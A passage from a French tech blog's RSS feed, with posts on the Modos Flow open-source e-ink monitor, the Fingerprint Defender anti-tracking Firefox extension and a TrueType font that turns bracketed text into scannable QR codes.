&lt;/p&gt;</content:encoded><category>jeux-video/pc-gaming</category><category>tutoriels-guides</category><category>Cyberpunk 2077</category><category>gaming</category><category>jeux vidéo</category><category>modding</category><category>PC gaming</category><media:content url="https://korben.info/cyberpunk-2077-mod-vue-ego-immersive/cyberpunk-2077-mod-vue-ego-immersive-1.jpeg" medium="image" type="image/jpeg" width="2560" height="1440"/></item><item><title>Modos Flow - L'écran e-ink open source qui pousse le refresh à fond</title><link>https://korben.info/glider-moniteur-e-ink-open-source.html</link><pubDate>Mon, 29 Jun 2026 08:59:00 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/glider-moniteur-e-ink-open-source.html</guid><description>&lt;p&gt;Wenting Zhang, le développeur derrière Modos Labs, s'est attaqué depuis des années à un truc qui faisait rire tout le monde, jusqu'à ce qu'il y parvienne. Son but dans la vie c'était de faire tourner un écran e-ink assez vite pour s'en servir comme écran de PC. Un vrai moniteur, branché en USB-C, sur lequel vous codez, écrivez et naviguez.&lt;/p&gt;
&lt;p&gt;Son projet est open source, s'appelle
&lt;a href="https://github.com/Modos-Labs/Glider"&gt;Glider&lt;/a&gt;
, et le produit grand public qui en découle, le &lt;strong&gt;Modos Flow&lt;/strong&gt;, est actuellement en pleine campagne de crowdfunding avec la promesse folle de pousser le refresh rate de l'encre électronique bien au-delà du standard.&lt;/p&gt;</description><content:encoded>&lt;p&gt;Wenting Zhang, le développeur derrière Modos Labs, s'est attaqué depuis des années à un truc qui faisait rire tout le monde, jusqu'à ce qu'il y parvienne. Son but dans la vie c'était de faire tourner un écran e-ink assez vite pour s'en servir comme écran de PC. Un vrai moniteur, branché en USB-C, sur lequel vous codez, écrivez et naviguez.&lt;/p&gt;
&lt;p&gt;Son projet est open source, s'appelle
&lt;a href="https://github.com/Modos-Labs/Glider"&gt;Glider&lt;/a&gt;
, et le produit grand public qui en découle, le &lt;strong&gt;Modos Flow&lt;/strong&gt;, est actuellement en pleine campagne de crowdfunding avec la promesse folle de pousser le refresh rate de l'encre électronique bien au-delà du standard.&lt;/p&gt;
&lt;p&gt;Le Glider, c'est un design matériel ouvert : PCB dessiné sous KiCad, un FPGA Xilinx Spartan-6 qui fait tourner Caster (le contrôleur e-ink maison, lui aussi open source), de la DDR3 pour le framebuffer, et des entrées USB-C DisplayPort Alt-Mode + DVI. Vous le branchez sur Mac, Windows ou Linux, et il affiche vos trucs comme un écran tout à fait normal.&lt;/p&gt;
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&lt;div&gt;
&lt;p&gt;Une latence de traitement annoncée sous les 20 microsecondes, du dithering matériel pour gratter des niveaux de gris, et un rail d'alim à ±15 V pour faire bouger les particules assez vite sur les grandes dalles.&lt;/p&gt;
&lt;p&gt;Parce que le gros du travail, c'est bien de forcer l'e-ink à aller plus vite que ce pour quoi il est fait. Les écrans à encre électronique, c'est en général de l'ordre de 150 ms de temps de réponse contre 10 ms pour un LCD, et un contraste de 17:1 contre 1000:1. Mais côté Modos Flow, on est dans du 60 Hz, ce qui est déjà incroyable en soi.&lt;/p&gt;
&lt;p&gt;Et le vrai intérêt de tout ça, c'est que pour la lecture, l'écriture, le code, vous n'avez pas besoin de 10 ms de réponse. Vous avez besoin d'un écran qui ne vous crève pas les yeux au bout de huit heures. Et sur ce terrain-là, l'e-ink reste imbattable : pas de rétroéclairage, ça ne scintille pas, c'est lisible en plein soleil... Bref, c'est que du bonheur. Le Modos Flow dispose même du tactile, d'un stylet, ainsi que d'un éclairage frontal, un support VESA, et différents modes d'affichage suivant ce que vous faites. Bref, c'est l'écran idéal pour celles et ceux qui, comme moi, passent leur vie dans du texte, à écrire, coder, dévorer des docs.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://korben.info/glider-moniteur-e-ink-open-source/glider-moniteur-e-ink-open-source-2.jpg" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;Côté tarif, le Modos Flow démarre à 619 $ sur
&lt;a href="https://www.crowdsupply.com/modos-tech/modos-flow"&gt;Crowd Supply&lt;/a&gt;
, et la campagne est déjà largement financée, plus de 540 000 $ récoltés pour 175 000 espérés, soit 308 %, avec une clôture prévue le 9 juillet 2026. Reste que c'est du crowdfunding, avec tout ce que ça implique de délais glissants et d'objectifs qui partent parfois en vrille. Mais si l'idée d'un écran reposant vous tente, c'est le moment de regarder ça de près.&lt;/p&gt;
&lt;p&gt;En plus, le hardware, lui, reste ouvert alors c'est tout à fait possible de vous lancer de votre côté avec un FPGA et un fer à souder, et les plans du Glider dispos sur GitHub. C'est aussi ouvert que
&lt;a href="https://korben.info/episteme-lecteur-ebooks-open-source.html"&gt;cette app de lecture libre&lt;/a&gt;
dont je parlais il y a quelques jours.&lt;/p&gt;
&lt;p&gt;On parlait déjà d'
&lt;a href="https://korben.info/un-ebook-capable-de-lire-de-la-video.html"&gt;ebooks capables de lire de la vidéo&lt;/a&gt;
il y a plus de dix ans, et l'
&lt;a href="https://korben.info/le-epaper-arrive-en-couleur.html"&gt;e-ink couleur&lt;/a&gt;
peine encore à percer mais là, j'avoue que Modos pousse le bouchon plus loin que personne. À voir maintenant si le Flow tient ses promesses à la livraison.&lt;/p&gt;
&lt;p&gt;Merci à Maitretofu pour le lien.&lt;/p&gt;</content:encoded><category>hardware-diy</category><category>hardware-diy/gadgets-crowdfunding</category><category>linux-open-source/logiciels-libres</category><category>e-ink</category><category>financement participatif</category><category>Modos Flow</category><category>moniteur e-ink</category><category>open source</category><media:content url="https://korben.info/glider-moniteur-e-ink-open-source/glider-moniteur-e-ink-open-source-1.jpg" medium="image" type="image/jpeg" width="1600" height="900"/></item><item><title>Fingerprint Defender - Brouiller son empreinte sur Firefox</title><link>https://korben.info/fingerprint-defender-extension-firefox.html</link><pubDate>Sun, 28 Jun 2026 14:17:50 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/fingerprint-defender-extension-firefox.html</guid><description>&lt;p&gt;Si vous me lisez depuis longtemps, vous savez forcément que le Fingerprinting est une technique de pistage qui permet de vous identifier en mesurant les petites particularités de votre navigateur telles que les polices installées, votre carte graphique, la résolution de votre écran et j'en passe. Toutes ces petites choses mises bout à bout forment ainsi une empreinte quasi unique. Hé c'est exactement contre ça que Digital Fracture, un petit studio anglais situé dans la ville de Poole, vient de sortir &lt;strong&gt;Fingerprint Defender&lt;/strong&gt; pour Firefox.&lt;/p&gt;</description><content:encoded>&lt;p&gt;Si vous me lisez depuis longtemps, vous savez forcément que le Fingerprinting est une technique de pistage qui permet de vous identifier en mesurant les petites particularités de votre navigateur telles que les polices installées, votre carte graphique, la résolution de votre écran et j'en passe. Toutes ces petites choses mises bout à bout forment ainsi une empreinte quasi unique. Hé c'est exactement contre ça que Digital Fracture, un petit studio anglais situé dans la ville de Poole, vient de sortir &lt;strong&gt;Fingerprint Defender&lt;/strong&gt; pour Firefox.&lt;/p&gt;
&lt;img src="https://korben.info/fingerprint-defender-extension-firefox/fingerprint-defender-extension-firefox-2.png" alt="" loading="lazy" decoding="async"&gt;
&lt;p&gt;La plupart des outils anti-pistage mentent sur tout : faux user-agent, faux écran, faux GPU sauf que mentir, ça vous rend encore plus repérable. Bah oui, un browser qui prétend être 3 machines à la fois, ça se repère vite.&lt;/p&gt;
&lt;p&gt;Du coup, Fingerprint Defender fait l'inverse : il randomise seulement les surfaces qui servent à vous tracer, et laisse passer vos vraies valeurs communes pour que vous ressembliez à tout le monde.&lt;/p&gt;
&lt;p&gt;Ainsi, chaque session il ajoute un léger bruit aléatoire sur le canvas, sur la sortie audio de l'AudioContext et sur les mesures de position des éléments de la page. Il bloque aussi les fuites d'IP par WebRTC et coupe l'API Battery Status (que Firefox planque déjà aux sites depuis des années, mais bon). Et pour l'écran, il annonce du 1920x1080, la résolution la plus banale qui soit !&lt;/p&gt;
&lt;p&gt;Et surtout, il laisse volontairement passer votre WebGL, votre fuseau horaire, vos polices et votre user-agent réels. Pourquoi me direz-vous ?? Eh bien parce que ce sont des valeurs que des millions de gens partagent donc c'est complètement inutile de les falsifier. Ça vous complique juste la vie.&lt;/p&gt;
&lt;img src="https://korben.info/fingerprint-defender-extension-firefox/fingerprint-defender-extension-firefox-3.png" alt="" loading="lazy" decoding="async"&gt;
&lt;p&gt;Le pari de &amp;quot;&lt;em&gt;se fondre dans la masse&lt;/em&gt;&amp;quot; est bien meilleur qu'un spoofer naïf, et la recherche sur le sujet (le fameux
&lt;a href="https://coveryourtracks.eff.org/"&gt;Panopticlick de l'EFF&lt;/a&gt;
) montre bien que la protection vraiment béton, &lt;strong&gt;c'est l'uniformité totale&lt;/strong&gt;. Il faut faire en sorte que tous les utilisateurs soient strictement identiques, comme le fait Tor Browser.&lt;/p&gt;
&lt;p&gt;Après Firefox fait déjà une bonne partie du boulot nativement... j'en avais parlé quand
&lt;a href="https://korben.info/firefox-145-on-refusait-les-cookies-pendant-que-no.html"&gt;Firefox a musclé sa protection contre le pistage par empreinte&lt;/a&gt;
. Et si vous aimez bricoler vos réglages, vous serez content d'apprendre qu'il existe
&lt;a href="https://korben.info/reduire-traces-laissees-firefox.html"&gt;plein d'autres façons de réduire les traces que vous laissez sur Firefox&lt;/a&gt;
. Mais cette extension dont je vous parle aujourd'hui peut parfaitement venir se rajouter à ça.&lt;/p&gt;
&lt;p&gt;Après bon, c'est une extension Firefox donc on peut l'ouvrir pour mater les sources directement mais sachez que bien que ce soit sous licence MPL 2.0 (Mozilla), y'a aucun répo public. Snif...&lt;/p&gt;
&lt;p&gt;À tester par curiosité, même si c'est à ne pas confondre avec Tor, lol.&lt;/p&gt;</content:encoded><category>vie-privee-anonymat</category><category>extension Firefox</category><category>fingerprinting</category><category>Firefox</category><category>Mozilla</category><category>Tracking</category><category>vie privée</category><media:content url="https://korben.info/fingerprint-defender-extension-firefox/fingerprint-defender-extension-firefox-1.png" medium="image" type="image/png" width="1456" height="816"/></item><item><title>QR Font - La police qui transforme du texte en QR code</title><link>https://korben.info/qr-code-police-truetype.html</link><pubDate>Sun, 28 Jun 2026 12:56:46 +0200</pubDate><dc:creator>Korben ✨</dc:creator><guid>https://korben.info/qr-code-police-truetype.html</guid><description>&lt;p&gt;Tapez &lt;code&gt;[hello]&lt;/code&gt; dans votre éditeur, appliquez une police, et le mot se change en QR code scannable. Pas de générateur en ligne, pas d'image à exporter mais juste une police de caractères. C'est l'idée complètement barrée de
&lt;a href="https://github.com/jimparis/qr-font"&gt;qr-font&lt;/a&gt;
, le projet de Jim Paris, et quand j'ai testé la démo, j'avoue, ça m'a plu.&lt;/p&gt;
&lt;p&gt;Vous installez une des polices TrueType du projet, vous écrivez votre contenu destiné à devenir un QR code entre crochets, et le texte autour s'affichera tout à fait normalement.&lt;/p&gt;</description><content:encoded>&lt;p&gt;Tapez &lt;code&gt;[hello]&lt;/code&gt; dans votre éditeur, appliquez une police, et le mot se change en QR code scannable. Pas de générateur en ligne, pas d'image à exporter mais juste une police de caractères. C'est l'idée complètement barrée de
&lt;a href="https://github.com/jimparis/qr-font"&gt;qr-font&lt;/a&gt;
, le projet de Jim Paris, et quand j'ai testé la démo, j'avoue, ça m'a plu.&lt;/p&gt;
&lt;p&gt;Vous installez une des polices TrueType du projet, vous écrivez votre contenu destiné à devenir un QR code entre crochets, et le texte autour s'affichera tout à fait normalement.&lt;/p&gt;
&lt;p&gt;Par exemple &lt;code&gt;abc[hello]ghi&lt;/code&gt; vous donnera "abc", un QR code, puis "ghi", le tout sur la même ligne. Et comme rien n'est jamais transformé en image, votre QR code reste du texte pur. Vous pouvez le copier-coller comme un caractère lambda, le stocker en texte brut, ou encore le glisser au milieu d'un paragraphe dans n'importe quel document.&lt;/p&gt;
&lt;img src="https://korben.info/qr-code-police-truetype/qr-code-police-truetype-1.png" alt="" loading="lazy" decoding="async"&gt;
&lt;p&gt;&lt;em&gt;Le texte [https://korben.info] tapé avec la police QR Font 2-L : la police le transforme toute seule en QR code, sans aucune image.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Mais vrai tour de force surtout, c'est la fabrication de cette police car un QR code normalement, c'est une image dans laquelle un programme a encodé des données. Ce programme calcule une parité Reed-Solomon, positionne les petits carrés comme il faut, applique un masque par-dessus et ensuite tout est exporté dans un PNG ou un JPG. Alors que là, tout le calcul se fait DANS le fichier de la police de caractère.&lt;/p&gt;
&lt;p&gt;Pour reproduire l'algo Reed-Solomon, la police fait des maths toute seule comme une grande, sous la forme de règles OpenType.&lt;/p&gt;
&lt;p&gt;
&lt;img src="https://korben.info/qr-code-police-truetype/qr-code-police-truetype-2.png" alt="" loading="lazy" decoding="async"&gt;
&lt;/p&gt;
&lt;p&gt;C'est dans la lignée des bidouilles à base de QR Code dont je vous ai déjà causé comme ces
&lt;a href="https://korben.info/brickqrcode-qr-lego-fonctionnel.html"&gt;QR codes montés en LEGO&lt;/a&gt;
ou de ces
&lt;a href="https://korben.info/fontgenerator-design-polices-unicode.html"&gt;polices Unicode&lt;/a&gt;
qu'on détourne pour frimer dans sa bio Insta.&lt;/p&gt;
&lt;p&gt;Forcément, c'est un proof-of-concept, donc il y a des garde-fous. En effet, chaque police ne peut encaisser que 17 caractères pour la version light, 32 pour la standard et 53 pour l'étendue. Donc vous ne pourrez pas y mettre une URL à rallonge. Par contre, un petit mot ou une URL classique, ça passe tranquille.&lt;/p&gt;
&lt;p&gt;Notez aussi que les navigateurs découpent le texte en ligne AVANT d'afficher les glyphes, ce qui veut dire qu'un de ces QR peut se retrouver coupé en 2 en fin de ligne. Mais y'a moyen de contourner le problème avec la règle CSS suivante sur le bloc et le tour est joué ! :&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;white-space: nowrap
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Bref, c'est génial et pas si inutile que ça je trouve...&lt;/p&gt;</content:encoded><category>actualites-business/insolite-wtf</category><category>developpement/outils-developpement</category><category>open source</category><category>opentype</category><category>police</category><category>QR Code</category><category>typographie</category><media:content url="https://korben.info/qr-code-police-truetype/qr-code-police-truetype-1.jpg" medium="image" type="image/jpeg" width="2560" height="1396"/></item></channel></rss>